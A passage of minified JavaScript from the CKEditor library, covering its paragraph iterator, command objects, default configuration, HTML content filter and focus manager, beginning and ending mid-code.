(this._={}))}function f(a){var b=[];a.forEach(function(a){if("true"==a.getAttribute("contenteditable"))return b.push(a),!1},CKEDITOR.NODE_ELEMENT,!0);return b}function e(a,b,d,c){a:{null==c&&(c=f(d));for(var h;h=c.shift();)if(h.getDtd().p){c={element:h,remaining:c};break a}c=null}if(!c)return 0;if((h=CKEDITOR.filter.instances[c.element.data("cke-filter")])&&!h.check(b))return e(a,b,d,c.remaining);b=new CKEDITOR.dom.range(c.element);b.selectNodeContents(c.element);b=b.createIterator();b.enlargeBr=
a.enlargeBr;b.enforceRealBlocks=a.enforceRealBlocks;b.activeFilter=b.filter=h;a._.nestedEditable={element:c.element,container:d,remaining:c.remaining,iterator:b};return 1}function b(a,b,d){if(!b)return!1;a=a.clone();a.collapse(!d);return a.checkBoundaryOfElement(b,d?CKEDITOR.START:CKEDITOR.END)}var c=/^[\r\n\t ]+$/,m=CKEDITOR.dom.walker.bookmark(!1,!0),h=CKEDITOR.dom.walker.whitespaces(!0),l=function(a){return m(a)&&h(a)},d={dd:1,dt:1,li:1};a.prototype={getNextParagraph:function(a){var g,f,h,w,q;
a=a||"p";if(this._.nestedEditable){if(g=this._.nestedEditable.iterator.getNextParagraph(a))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,g;this.activeFilter=this.filter;if(e(this,a,this._.nestedEditable.container,this._.nestedEditable.remaining))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,this._.nestedEditable.iterator.getNextParagraph(a);this._.nestedEditable=null}if(!this.range.root.getDtd()[a])return null;if(!this._.started){var p=this.range.clone();
f=p.startPath();var u=p.endPath(),x=!p.collapsed&&b(p,f.block),t=!p.collapsed&&b(p,u.block,1);p.shrink(CKEDITOR.SHRINK_ELEMENT,!0);x&&p.setStartAt(f.block,CKEDITOR.POSITION_BEFORE_END);t&&p.setEndAt(u.block,CKEDITOR.POSITION_AFTER_START);f=p.endContainer.hasAscendant("pre",!0)||p.startContainer.hasAscendant("pre",!0);p.enlarge(this.forceBrBreak&&!f||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:CKEDITOR.ENLARGE_BLOCK_CONTENTS);p.collapsed||(f=new CKEDITOR.dom.walker(p.clone()),u=CKEDITOR.dom.walker.bookmark(!0,
!0),f.evaluator=u,this._.nextNode=f.next(),f=new CKEDITOR.dom.walker(p.clone()),f.evaluator=u,f=f.previous(),this._.lastNode=f.getNextSourceNode(!0,null,p.root),this._.lastNode&&this._.lastNode.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(this._.lastNode.getText())&&this._.lastNode.getParent().isBlockBoundary()&&(u=this.range.clone(),u.moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END),u.checkEndOfBlock()&&(u=new CKEDITOR.dom.elementPath(u.endContainer,u.root),this._.lastNode=(u.block||
u.blockLimit).getNextSourceNode(!0))),this._.lastNode&&p.root.contains(this._.lastNode)||(this._.lastNode=this._.docEndMarker=p.document.createText(""),this._.lastNode.insertAfter(f)),p=null);this._.started=1;f=p}u=this._.nextNode;p=this._.lastNode;for(this._.nextNode=null;u;){var x=0,t=u.hasAscendant("pre"),B=u.type!=CKEDITOR.NODE_ELEMENT,v=0;if(B)u.type==CKEDITOR.NODE_TEXT&&c.test(u.getText())&&(B=0);else{var y=u.getName();if(CKEDITOR.dtd.$block[y]&&"false"==u.getAttribute("contenteditable")){g=
u;e(this,a,g);break}else if(u.isBlockBoundary(this.forceBrBreak&&!t&&{br:1})){if("br"==y)B=1;else if(!f&&!u.getChildCount()&&"hr"!=y){g=u;h=u.equals(p);break}f&&(f.setEndAt(u,CKEDITOR.POSITION_BEFORE_START),"br"!=y&&(this._.nextNode=u));x=1}else{if(u.getFirst()){f||(f=this.range.clone(),f.setStartAt(u,CKEDITOR.POSITION_BEFORE_START));u=u.getFirst();continue}B=1}}B&&!f&&(f=this.range.clone(),f.setStartAt(u,CKEDITOR.POSITION_BEFORE_START));h=(!x||B)&&u.equals(p);if(f&&!x)for(;!u.getNext(l)&&!h;){y=
u.getParent();if(y.isBlockBoundary(this.forceBrBreak&&!t&&{br:1})){x=1;B=0;h||y.equals(p);f.setEndAt(y,CKEDITOR.POSITION_BEFORE_END);break}u=y;B=1;h=u.equals(p);v=1}B&&f.setEndAt(u,CKEDITOR.POSITION_AFTER_END);u=this._getNextSourceNode(u,v,p);if((h=!u)||x&&f)break}if(!g){if(!f)return this._.docEndMarker&&this._.docEndMarker.remove(),this._.nextNode=null;g=new CKEDITOR.dom.elementPath(f.startContainer,f.root);u=g.blockLimit;x={div:1,th:1,td:1};g=g.block;!g&&u&&!this.enforceRealBlocks&&x[u.getName()]&&
f.checkStartOfBlock()&&f.checkEndOfBlock()&&!u.equals(f.root)?g=u:!g||this.enforceRealBlocks&&g.is(d)?(g=this.range.document.createElement(a),f.extractContents().appendTo(g),g.trim(),f.insertNode(g),w=q=!0):"li"!=g.getName()?f.checkStartOfBlock()&&f.checkEndOfBlock()||(g=g.clone(!1),f.extractContents().appendTo(g),g.trim(),q=f.splitBlock(),w=!q.wasStartOfBlock,q=!q.wasEndOfBlock,f.insertNode(g)):h||(this._.nextNode=g.equals(p)?null:this._getNextSourceNode(f.getBoundaryNodes().endNode,1,p))}w&&(w=
g.getPrevious())&&w.type==CKEDITOR.NODE_ELEMENT&&("br"==w.getName()?w.remove():w.getLast()&&"br"==w.getLast().$.nodeName.toLowerCase()&&w.getLast().remove());q&&(w=g.getLast())&&w.type==CKEDITOR.NODE_ELEMENT&&"br"==w.getName()&&(!CKEDITOR.env.needsBrFiller||w.getPrevious(m)||w.getNext(m))&&w.remove();this._.nextNode||(this._.nextNode=h||g.equals(p)||!p?null:this._getNextSourceNode(g,1,p));return g},_getNextSourceNode:function(a,b,d){function c(a){return!(a.equals(d)||a.equals(e))}var e=this.range.root;
for(a=a.getNextSourceNode(b,null,c);!m(a);)a=a.getNextSourceNode(b,null,c);return a}};CKEDITOR.dom.range.prototype.createIterator=function(){return new a(this)}})();CKEDITOR.command=function(a,f){this.uiItems=[];this.exec=function(b){if(this.state==CKEDITOR.TRISTATE_DISABLED||!this.checkAllowed())return!1;this.editorFocus&&a.focus();return!1===this.fire("exec")?!0:!1!==f.exec.call(this,a,b)};this.refresh=function(a,c){if(!this.readOnly&&a.readOnly)return!0;if(this.context&&!c.isContextFor(this.context)||
!this.checkAllowed(!0))return this.disable(),!0;this.startDisabled||this.enable();this.modes&&!this.modes[a.mode]&&this.disable();return!1===this.fire("refresh",{editor:a,path:c})?!0:f.refresh&&!1!==f.refresh.apply(this,arguments)};var e;this.checkAllowed=function(b){return b||"boolean"!=typeof e?e=a.activeFilter.checkFeature(this):e};CKEDITOR.tools.extend(this,f,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!f.context,state:CKEDITOR.TRISTATE_DISABLED});CKEDITOR.event.call(this)};CKEDITOR.command.prototype=
{enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&&this.checkAllowed()&&this.setState(this.preserveState&&"undefined"!=typeof this.previousState?this.previousState:CKEDITOR.TRISTATE_OFF)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(a){if(this.state==a||a!=CKEDITOR.TRISTATE_DISABLED&&!this.checkAllowed())return!1;this.previousState=this.state;this.state=a;this.fire("state");return!0},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?this.setState(CKEDITOR.TRISTATE_ON):
this.state==CKEDITOR.TRISTATE_ON&&this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.event.implementOn(CKEDITOR.command.prototype);CKEDITOR.ENTER_P=1;CKEDITOR.ENTER_BR=2;CKEDITOR.ENTER_DIV=3;CKEDITOR.config={customConfig:"config.js",autoUpdateElement:!0,language:"",defaultLanguage:"en",contentsLangDirection:"",enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:"\x3c!DOCTYPE html\x3e",bodyId:"",bodyClass:"",fullPage:!1,height:200,contentsCss:CKEDITOR.getUrl("contents.css"),
extraPlugins:"",removePlugins:"",protectedSource:[],tabIndex:0,width:"",baseFloatZIndex:1E4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]};(function(){function a(a,b,d,c,g){var e,k;a=[];for(e in b){k=b[e];k="boolean"==typeof k?{}:"function"==typeof k?{match:k}:J(k);"$"!=e.charAt(0)&&(k.elements=e);d&&(k.featureName=d.toLowerCase());var f=k;f.elements=h(f.elements,/\s+/)||null;f.propertiesOnly=f.propertiesOnly||!0===f.elements;var m=/\s*,\s*/,n=void 0;for(n in M){f[n]=h(f[n],
m)||null;var l=f,y=I[n],u=h(f[I[n]],m),C=f[n],z=[],Q=!0,t=void 0;u?Q=!1:u={};for(t in C)"!"==t.charAt(0)&&(t=t.slice(1),z.push(t),u[t]=!0,Q=!1);for(;t=z.pop();)C[t]=C["!"+t],delete C["!"+t];l[y]=(Q?!1:u)||null}f.match=f.match||null;c.push(k);a.push(k)}b=g.elements;g=g.generic;var r;d=0;for(c=a.length;d<c;++d){e=J(a[d]);k=!0===e.classes||!0===e.styles||!0===e.attributes;f=e;n=y=m=void 0;for(m in M)f[m]=x(f[m]);l=!0;for(n in I){m=I[n];y=f[m];u=[];C=void 0;for(C in y)-1<C.indexOf("*")?u.push(new RegExp("^"+
C.replace(/\*/g,".*")+"$")):u.push(C);y=u;y.length&&(f[m]=y,l=!1)}f.nothingRequired=l;f.noProperties=!(f.attributes||f.classes||f.styles);if(!0===e.elements||null===e.elements)g[k?"unshift":"push"](e);else for(r in f=e.elements,delete e.elements,f)if(b[r])b[r][k?"unshift":"push"](e);else b[r]=[e]}}function f(a,b,d,c){if(!a.match||a.match(b))if(c||l(a,b))if(a.propertiesOnly||(d.valid=!0),d.allAttributes||(d.allAttributes=e(a.attributes,b.attributes,d.validAttributes)),d.allStyles||(d.allStyles=e(a.styles,
b.styles,d.validStyles)),!d.allClasses){a=a.classes;b=b.classes;c=d.validClasses;if(a)if(!0===a)a=!0;else{for(var g=0,k=b.length,f;g<k;++g)f=b[g],c[f]||(c[f]=a(f));a=!1}else a=!1;d.allClasses=a}}function e(a,b,d){if(!a)return!1;if(!0===a)return!0;for(var c in b)d[c]||(d[c]=a(c));return!1}function b(a,b,d){if(!a.match||a.match(b)){if(a.noProperties)return!1;d.hadInvalidAttribute=c(a.attributes,b.attributes)||d.hadInvalidAttribute;d.hadInvalidStyle=c(a.styles,b.styles)||d.hadInvalidStyle;a=a.classes;
b=b.classes;if(a){for(var g=!1,e=!0===a,k=b.length;k--;)if(e||a(b[k]))b.splice(k,1),g=!0;a=g}else a=!1;d.hadInvalidClass=a||d.hadInvalidClass}}function c(a,b){if(!a)return!1;var d=!1,c=!0===a,g;for(g in b)if(c||a(g))delete b[g],d=!0;return d}function m(a,b,d){if(a.disabled||a.customConfig&&!d||!b)return!1;a._.cachedChecks={};return!0}function h(a,b){if(!a)return!1;if(!0===a)return a;if("string"==typeof a)return a=H(a),"*"==a?!0:CKEDITOR.tools.convertArrayToObject(a.split(b));if(CKEDITOR.tools.isArray(a))return a.length?
CKEDITOR.tools.convertArrayToObject(a):!1;var d={},c=0,g;for(g in a)d[g]=a[g],c++;return c?d:!1}function l(a,b){if(a.nothingRequired)return!0;var c,g,e,k;if(e=a.requiredClasses)for(k=b.classes,c=0;c<e.length;++c)if(g=e[c],"string"==typeof g){if(-1==CKEDITOR.tools.indexOf(k,g))return!1}else if(!CKEDITOR.tools.checkIfAnyArrayItemMatches(k,g))return!1;return d(b.styles,a.requiredStyles)&&d(b.attributes,a.requiredAttributes)}function d(a,b){if(!b)return!0;for(var d=0,c;d<b.length;++d)if(c=b[d],"string"==
typeof c){if(!(c in a))return!1}else if(!CKEDITOR.tools.checkIfAnyObjectPropertyMatches(a,c))return!1;return!0}function k(a){if(!a)return{};a=a.split(/\s*,\s*/).sort();for(var b={};a.length;)b[a.shift()]="cke-test";return b}function g(a){var b,d,c,g,e={},k=1;for(a=H(a);b=a.match(K);)(d=b[2])?(c=n(d,"styles"),g=n(d,"attrs"),d=n(d,"classes")):c=g=d=null,e["$"+k++]={elements:b[1],classes:d,styles:c,attributes:g},a=a.slice(b[0].length);return e}function n(a,b){var d=a.match(C[b]);return d?H(d[1]):null}
function r(a){var b=a.styleBackup=a.attributes.style,d=a.classBackup=a.attributes["class"];a.styles||(a.styles=CKEDITOR.tools.parseCssText(b||"",1));a.classes||(a.classes=d?d.split(/\s+/):[])}function w(a,d,c,g){var e=0,k;g.toHtml&&(d.name=d.name.replace(L,"$1"));if(g.doCallbacks&&a.elementCallbacks){a:{k=a.elementCallbacks;for(var h=0,m=k.length,n;h<m;++h)if(n=k[h](d)){k=n;break a}k=void 0}if(k)return k}if(g.doTransform&&(k=a._.transformations[d.name])){r(d);for(h=0;h<k.length;++h)y(a,d,k[h]);p(d)}if(g.doFilter){a:{h=
d.name;m=a._;a=m.allowedRules.elements[h];k=m.allowedRules.generic;h=m.disallowedRules.elements[h];m=m.disallowedRules.generic;n=g.skipRequired;var l={valid:!1,validAttributes:{},validClasses:{},validStyles:{},allAttributes:!1,allClasses:!1,allStyles:!1,hadInvalidAttribute:!1,hadInvalidClass:!1,hadInvalidStyle:!1},C,z;if(a||k){r(d);if(h)for(C=0,z=h.length;C<z;++C)if(!1===b(h[C],d,l)){a=null;break a}if(m)for(C=0,z=m.length;C<z;++C)b(m[C],d,l);if(a)for(C=0,z=a.length;C<z;++C)f(a[C],d,l,n);if(k)for(C=
0,z=k.length;C<z;++C)f(k[C],d,l,n);a=l}else a=null}if(!a||!a.valid)return c.push(d),1;z=a.validAttributes;var x=a.validStyles;k=a.validClasses;var h=d.attributes,t=d.styles,m=d.classes;n=d.classBackup;var A=d.styleBackup,H,E,v=[],l=[],D=/^data-cke-/;C=!1;delete h.style;delete h["class"];delete d.classBackup;delete d.styleBackup;if(!a.allAttributes)for(H in h)z[H]||(D.test(H)?H==(E=H.replace(/^data-cke-saved-/,""))||z[E]||(delete h[H],C=!0):(delete h[H],C=!0));if(!a.allStyles||a.hadInvalidStyle){for(H in t)a.allStyles||
x[H]?v.push(H+":"+t[H]):C=!0;v.length&&(h.style=v.sort().join("; "))}else A&&(h.style=A);if(!a.allClasses||a.hadInvalidClass){for(H=0;H<m.length;++H)(a.allClasses||k[m[H]])&&l.push(m[H]);l.length&&(h["class"]=l.sort().join(" "));n&&l.length<n.split(/\s+/).length&&(C=!0)}else n&&(h["class"]=n);C&&(e=1);if(!g.skipFinalValidation&&!u(d))return c.push(d),1}g.toHtml&&(d.name=d.name.replace(Q,"cke:$1"));return e}function q(a){var b=[],d;for(d in a)-1<d.indexOf("*")&&b.push(d.replace(/\*/g,".*"));return b.length?
new RegExp("^(?:"+b.join("|")+")$"):null}function p(a){var b=a.attributes,d;delete b.style;delete b["class"];if(d=CKEDITOR.tools.writeCssText(a.styles,!0))b.style=d;a.classes.length&&(b["class"]=a.classes.sort().join(" "))}function u(a){switch(a.name){case "a":if(!(a.children.length||a.attributes.name||a.attributes.id))return!1;break;case "img":if(!a.attributes.src)return!1}return!0}function x(a){if(!a)return!1;if(!0===a)return!0;var b=q(a);return function(d){return d in a||b&&d.match(b)}}function t(){return new CKEDITOR.htmlParser.element("br")}
function B(a){return a.type==CKEDITOR.NODE_ELEMENT&&("br"==a.name||E.$block[a.name])}function v(a,b,d){var c=a.name;if(E.$empty[c]||!a.children.length)"hr"==c&&"br"==b?a.replaceWith(t()):(a.parent&&d.push({check:"it",el:a.parent}),a.remove());else if(E.$block[c]||"tr"==c)if("br"==b)a.previous&&!B(a.previous)&&(b=t(),b.insertBefore(a)),a.next&&!B(a.next)&&(b=t(),b.insertAfter(a)),a.replaceWithChildren();else{var c=a.children,g;b:{g=E[b];for(var e=0,k=c.length,f;e<k;++e)if(f=c[e],f.type==CKEDITOR.NODE_ELEMENT&&
!g[f.name]){g=!1;break b}g=!0}if(g)a.name=b,a.attributes={},d.push({check:"parent-down",el:a});else{g=a.parent;for(var e=g.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||"body"==g.name,h,m,k=c.length;0<k;)f=c[--k],e&&(f.type==CKEDITOR.NODE_TEXT||f.type==CKEDITOR.NODE_ELEMENT&&E.$inline[f.name])?(h||(h=new CKEDITOR.htmlParser.element(b),h.insertAfter(a),d.push({check:"parent-down",el:h})),h.add(f,0)):(h=null,m=E[g.name]||E.span,f.insertAfter(a),g.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||f.type!=CKEDITOR.NODE_ELEMENT||
m[f.name]||d.push({check:"el-up",el:f}));a.remove()}}else c in{style:1,script:1}?a.remove():(a.parent&&d.push({check:"it",el:a.parent}),a.replaceWithChildren())}function y(a,b,d){var c,g;for(c=0;c<d.length;++c)if(g=d[c],!(g.check&&!a.check(g.check,!1)||g.left&&!g.left(b))){g.right(b,O);break}}function z(a,b){var d=b.getDefinition(),c=d.attributes,g=d.styles,e,k,f,h;if(a.name!=d.element)return!1;for(e in c)if("class"==e)for(d=c[e].split(/\s+/),f=a.classes.join("|");h=d.pop();){if(-1==f.indexOf(h))return!1}else if(a.attributes[e]!=
c[e])return!1;for(k in g)if(a.styles[k]!=g[k])return!1;return!0}function A(a,b){var d,c;"string"==typeof a?d=a:a instanceof CKEDITOR.style?c=a:(d=a[0],c=a[1]);return[{element:d,left:c,right:function(a,d){d.transform(a,b)}}]}function D(a){return function(b){return z(b,a)}}function G(a){return function(b,d){d[a](b)}}var E=CKEDITOR.dtd,J=CKEDITOR.tools.copy,H=CKEDITOR.tools.trim,F=["","p","br","div"];CKEDITOR.FILTER_SKIP_TREE=2;CKEDITOR.filter=function(a,b){this.allowedContent=[];this.disallowedContent=
[];this.elementCallbacks=null;this.disabled=!1;this.editor=null;this.id=CKEDITOR.tools.getNextNumber();this._={allowedRules:{elements:{},generic:[]},disallowedRules:{elements:{},generic:[]},transformations:{},cachedTests:{},cachedChecks:{}};CKEDITOR.filter.instances[this.id]=this;var d=this.editor=a instanceof CKEDITOR.editor?a:null;if(d&&!b){this.customConfig=!0;var c=d.config.allowedContent;!0===c?this.disabled=!0:(c||(this.customConfig=!1),this.allow(c,"config",1),this.allow(d.config.extraAllowedContent,
"extra",1),this.allow(F[d.enterMode]+" "+F[d.shiftEnterMode],"default",1),this.disallow(d.config.disallowedContent))}else this.customConfig=!1,this.allow(b||a,"default",1)};CKEDITOR.filter.instances={};CKEDITOR.filter.prototype={allow:function(b,d,c){if(!m(this,b,c))return!1;var e,k;if("string"==typeof b)b=g(b);else if(b instanceof CKEDITOR.style){if(b.toAllowedContentRules)return this.allow(b.toAllowedContentRules(this.editor),d,c);e=b.getDefinition();b={};c=e.attributes;b[e.element]=e={styles:e.styles,
requiredStyles:e.styles&&CKEDITOR.tools.object.keys(e.styles)};c&&(c=J(c),e.classes=c["class"]?c["class"].split(/\s+/):null,e.requiredClasses=e.classes,delete c["class"],e.attributes=c,e.requiredAttributes=c&&CKEDITOR.tools.object.keys(c))}else if(CKEDITOR.tools.isArray(b)){for(e=0;e<b.length;++e)k=this.allow(b[e],d,c);return k}a(this,b,d,this.allowedContent,this._.allowedRules);return!0},applyTo:function(a,b,d,c){if(this.disabled)return!1;var g=this,e=[],k=this.editor&&this.editor.config.protectedSource,
f,h=!1,m={doFilter:!d,doTransform:!0,doCallbacks:!0,toHtml:b};a.forEach(function(a){if(a.type==CKEDITOR.NODE_ELEMENT){if("off"==a.attributes["data-cke-filter"])return!1;if(!b||"span"!=a.name||!~CKEDITOR.tools.object.keys(a.attributes).join("|").indexOf("data-cke-"))if(f=w(g,a,e,m),f&1)h=!0;else if(f&2)return!1}else if(a.type==CKEDITOR.NODE_COMMENT&&a.value.match(/^\{cke_protected\}(?!\{C\})/)){var d;a:{var c=decodeURIComponent(a.value.replace(/^\{cke_protected\}/,""));d=[];var n,l,y;if(k)for(l=0;l<
k.length;++l)if((y=c.match(k[l]))&&y[0].length==c.length){d=!0;break a}c=CKEDITOR.htmlParser.fragment.fromHtml(c);1==c.children.length&&(n=c.children[0]).type==CKEDITOR.NODE_ELEMENT&&w(g,n,d,m);d=!d.length}d||e.push(a)}},null,!0);e.length&&(h=!0);var n;a=[];c=F[c||(this.editor?this.editor.enterMode:CKEDITOR.ENTER_P)];for(var l;d=e.pop();)d.type==CKEDITOR.NODE_ELEMENT?v(d,c,a):d.remove();for(;n=a.pop();)if(d=n.el,d.parent)switch(l=E[d.parent.name]||E.span,n.check){case "it":E.$removeEmpty[d.name]&&
!d.children.length?v(d,c,a):u(d)||v(d,c,a);break;case "el-up":d.parent.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||l[d.name]||v(d,c,a);break;case "parent-down":d.parent.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||l[d.name]||v(d.parent,c,a)}return h},checkFeature:function(a){if(this.disabled||!a)return!0;a.toFeature&&(a=a.toFeature(this.editor));return!a.requiredContent||this.check(a.requiredContent)},disable:function(){this.disabled=!0},disallow:function(b){if(!m(this,b,!0))return!1;"string"==typeof b&&(b=
g(b));a(this,b,null,this.disallowedContent,this._.disallowedRules);return!0},addContentForms:function(a){if(!this.disabled&&a){var b,d,c=[],g;for(b=0;b<a.length&&!g;++b)d=a[b],("string"==typeof d||d instanceof CKEDITOR.style)&&this.check(d)&&(g=d);if(g){for(b=0;b<a.length;++b)c.push(A(a[b],g));this.addTransformations(c)}}},addElementCallback:function(a){this.elementCallbacks||(this.elementCallbacks=[]);this.elementCallbacks.push(a)},addFeature:function(a){if(this.disabled||!a)return!0;a.toFeature&&
(a=a.toFeature(this.editor));this.allow(a.allowedContent,a.name);this.addTransformations(a.contentTransformations);this.addContentForms(a.contentForms);return a.requiredContent&&(this.customConfig||this.disallowedContent.length)?this.check(a.requiredContent):!0},addTransformations:function(a){var b,d;if(!this.disabled&&a){var c=this._.transformations,g;for(g=0;g<a.length;++g){b=a[g];var e=void 0,k=void 0,f=void 0,h=void 0,m=void 0,n=void 0;d=[];for(k=0;k<b.length;++k)f=b[k],"string"==typeof f?(f=
f.split(/\s*:\s*/),h=f[0],m=null,n=f[1]):(h=f.check,m=f.left,n=f.right),e||(e=f,e=e.element?e.element:h?h.match(/^([a-z0-9]+)/i)[0]:e.left.getDefinition().element),m instanceof CKEDITOR.style&&(m=D(m)),d.push({check:h==e?null:h,left:m,right:"string"==typeof n?G(n):n});b=e;c[b]||(c[b]=[]);c[b].push(d)}}},check:function(a,b,d){if(this.disabled)return!0;if(CKEDITOR.tools.isArray(a)){for(var c=a.length;c--;)if(this.check(a[c],b,d))return!0;return!1}var e,f;if("string"==typeof a){f=a+"\x3c"+(!1===b?"0":
"1")+(d?"1":"0")+"\x3e";if(f in this._.cachedChecks)return this._.cachedChecks[f];e=g(a).$1;var h=e.styles,c=e.classes;e.name=e.elements;e.classes=c=c?c.split(/\s*,\s*/):[];e.styles=k(h);e.attributes=k(e.attributes);e.children=[];c.length&&(e.attributes["class"]=c.join(" "));h&&(e.attributes.style=CKEDITOR.tools.writeCssText(e.styles))}else e=a.getDefinition(),h=e.styles,c=e.attributes||{},h&&!CKEDITOR.tools.isEmpty(h)?(h=J(h),c.style=CKEDITOR.tools.writeCssText(h,!0)):h={},e={name:e.element,attributes:c,
classes:c["class"]?c["class"].split(/\s+/):[],styles:h,children:[]};var h=CKEDITOR.tools.clone(e),m=[],n;if(!1!==b&&(n=this._.transformations[e.name])){for(c=0;c<n.length;++c)y(this,e,n[c]);p(e)}w(this,h,m,{doFilter:!0,doTransform:!1!==b,skipRequired:!d,skipFinalValidation:!d});0<m.length?d=!1:((b=e.attributes["class"])&&(e.attributes["class"]=e.attributes["class"].split(" ").sort().join(" ")),d=CKEDITOR.tools.objectCompare(e.attributes,h.attributes,!0),b&&(e.attributes["class"]=b));"string"==typeof a&&
(this._.cachedChecks[f]=d);return d},getAllowedEnterMode:function(){var a=["p","div","br"],b={p:CKEDITOR.ENTER_P,div:CKEDITOR.ENTER_DIV,br:CKEDITOR.ENTER_BR};return function(d,c){var g=a.slice(),e;if(this.check(F[d]))return d;for(c||(g=g.reverse());e=g.pop();)if(this.check(e))return b[e];return CKEDITOR.ENTER_BR}}(),clone:function(){var a=new CKEDITOR.filter,b=CKEDITOR.tools.clone;a.allowedContent=b(this.allowedContent);a._.allowedRules=b(this._.allowedRules);a.disallowedContent=b(this.disallowedContent);
a._.disallowedRules=b(this._.disallowedRules);a._.transformations=b(this._.transformations);a.disabled=this.disabled;a.editor=this.editor;return a},destroy:function(){delete CKEDITOR.filter.instances[this.id];delete this._;delete this.allowedContent;delete this.disallowedContent}};var M={styles:1,attributes:1,classes:1},I={styles:"requiredStyles",attributes:"requiredAttributes",classes:"requiredClasses"},K=/^([a-z0-9\-*\s]+)((?:\s*\{[!\w\-,\s\*]+\}\s*|\s*\[[!\w\-,\s\*]+\]\s*|\s*\([!\w\-,\s\*]+\)\s*){0,3})(?:;\s*|$)/i,
C={styles:/{([^}]+)}/,attrs:/\[([^\]]+)\]/,classes:/\(([^\)]+)\)/},L=/^cke:(object|embed|param)$/,Q=/^(object|embed|param)$/,O;O=CKEDITOR.filter.transformationsTools={sizeToStyle:function(a){this.lengthToStyle(a,"width");this.lengthToStyle(a,"height")},sizeToAttribute:function(a){this.lengthToAttribute(a,"width");this.lengthToAttribute(a,"height")},lengthToStyle:function(a,b,d){d=d||b;if(!(d in a.styles)){var c=a.attributes[b];c&&(/^\d+$/.test(c)&&(c+="px"),a.styles[d]=c)}delete a.attributes[b]},
lengthToAttribute:function(a,b,d){d=d||b;if(!(d in a.attributes)){var c=a.styles[b],g=c&&c.match(/^(\d+)(?:\.\d*)?px$/);g?a.attributes[d]=g[1]:"cke-test"==c&&(a.attributes[d]="cke-test")}delete a.styles[b]},alignmentToStyle:function(a){if(!("float"in a.styles)){var b=a.attributes.align;if("left"==b||"right"==b)a.styles["float"]=b}delete a.attributes.align},alignmentToAttribute:function(a){if(!("align"in a.attributes)){var b=a.styles["float"];if("left"==b||"right"==b)a.attributes.align=b}delete a.styles["float"]},
splitBorderShorthand:function(a){if(a.styles.border){var b=CKEDITOR.tools.style.parse.border(a.styles.border);b.color&&(a.styles["border-color"]=b.color);b.style&&(a.styles["border-style"]=b.style);b.width&&(a.styles["border-width"]=b.width);delete a.styles.border}},listTypeToStyle:function(a){if(a.attributes.type)switch(a.attributes.type){case "a":a.styles["list-style-type"]="lower-alpha";break;case "A":a.styles["list-style-type"]="upper-alpha";break;case "i":a.styles["list-style-type"]="lower-roman";
break;case "I":a.styles["list-style-type"]="upper-roman";break;case "1":a.styles["list-style-type"]="decimal";break;default:a.styles["list-style-type"]=a.attributes.type}},splitMarginShorthand:function(a){function b(c){a.styles["margin-top"]=d[c[0]];a.styles["margin-right"]=d[c[1]];a.styles["margin-bottom"]=d[c[2]];a.styles["margin-left"]=d[c[3]]}if(a.styles.margin){var d=a.styles.margin.match(/(\-?[\.\d]+\w+)/g)||["0px"];switch(d.length){case 1:b([0,0,0,0]);break;case 2:b([0,1,0,1]);break;case 3:b([0,
1,2,1]);break;case 4:b([0,1,2,3])}delete a.styles.margin}},matchesStyle:z,transform:function(a,b){if("string"==typeof b)a.name=b;else{var d=b.getDefinition(),c=d.styles,g=d.attributes,e,k,f,h;a.name=d.element;for(e in g)if("class"==e)for(d=a.classes.join("|"),f=g[e].split(/\s+/);h=f.pop();)-1==d.indexOf(h)&&a.classes.push(h);else a.attributes[e]=g[e];for(k in c)a.styles[k]=c[k]}}}})();(function(){CKEDITOR.focusManager=function(a){if(a.focusManager)return a.focusManager;this.hasFocus=!1;this.currentActive=
null;this._={editor:a};return this};CKEDITOR.focusManager._={blurDelay:200};CKEDITOR.focusManager.prototype={focus:function(a){this._.timer&&clearTimeout(this._.timer);a&&(this.currentActive=a);this.hasFocus||this._.locked||((a=CKEDITOR.currentInstance)&&a.focusManager.blur(1),this.hasFocus=!0,(a=this._.editor.container)&&a.addClass("cke_focus"),this._.editor.fire("focus"))},lock:function(){this._.locked=1},unlock:function(){delete this._.locked},blur:function(a){function f(){if(this.hasFocus){this.hasFocus=
!1;var a=this._.editor.container;a&&a.removeClass("cke_focus");this._.editor.fire("blur")}}if(!this._.locked){this._.timer&&clearTimeout(this._.timer);var e=CKEDITOR.focusManager._.blurDelay;a||!e?f.call(this):this._.timer=CKEDITOR.tools.setTimeout(function(){delete this._.timer;f.call(this)},e,this)}},add:function(a,f){var e=a.getCustomData("focusmanager");if(!e||e!=this){e&&e.remove(a);var e="focus",b="blur";f&&(CKEDITOR.env.ie?(e="focusin",b="focusout"):CKEDITOR.event.useCapture=1);var c={blur:function(){a.equals(this.currentActive)&&
this.blur()},focus:function(){this.focus(a)}};a.on(e,c.focus,this);a.on(b,c.blur,this);f&&(CKEDITOR.event.useCapture=0);a.setCustomData("focusmanager",this);a.setCustomData("focusmanager_handlers",c)}},remove:function(a){a.removeCustomData("focusmanager");var f=a.removeCustomData("focusmanager_handlers");a.removeListener("blur",f.blur);a.removeListener("focus",f.focus)}}})();CKEDITOR.keystrokeHandler=function(a){if(a.keystrokeHandler)return a.keystrokeHandler;this.keystrokes={};this.blockedKeystrokes=
